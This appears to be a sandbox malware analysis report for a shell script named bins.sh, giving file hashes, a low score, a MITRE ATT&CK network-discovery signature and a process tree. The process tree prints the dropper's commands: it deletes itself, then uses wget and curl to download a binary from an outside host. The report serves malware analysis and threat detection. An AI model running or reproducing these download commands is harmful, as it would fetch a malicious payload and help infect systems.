144f5672af2c29c1ea3d4bfb0047806051d2d431f93295d74ae25cae1062326e

Analysis

max time kernel
148s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
24-11-2024 00:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

b00520b81436571f9d68b3b03239fce8
SHA1

743af9d3dc86e980ab8fa05c689f8434920bf1d1
SHA256

144f5672af2c29c1ea3d4bfb0047806051d2d431f93295d74ae25cae1062326e
SHA512

787a60732a86201c95ca447bd67f77ddf05cc0fc71ecec250a697e7faf0d33e1094452ab088ad3c98f6eeba8edbdbebf61d06efb1aeb262365f9ad8c69f0a85c
SSDEEP

192:tz5NhOHvcEdIUg89lmvLw7lP/5RqTfkIUg8NhOHvmR5RqTfI9lmvLQg:tz5NhOHvcEdIUg89lmvLw7lPNIUg8Nh6

Score

3^/10

discovery

Malware Config

Signatures

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

curlwget

pid	Process
1495	curl
1490	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1488
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1489
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - System Network Configuration Discovery
  PID:1490
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - System Network Configuration Discovery
  PID:1495

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads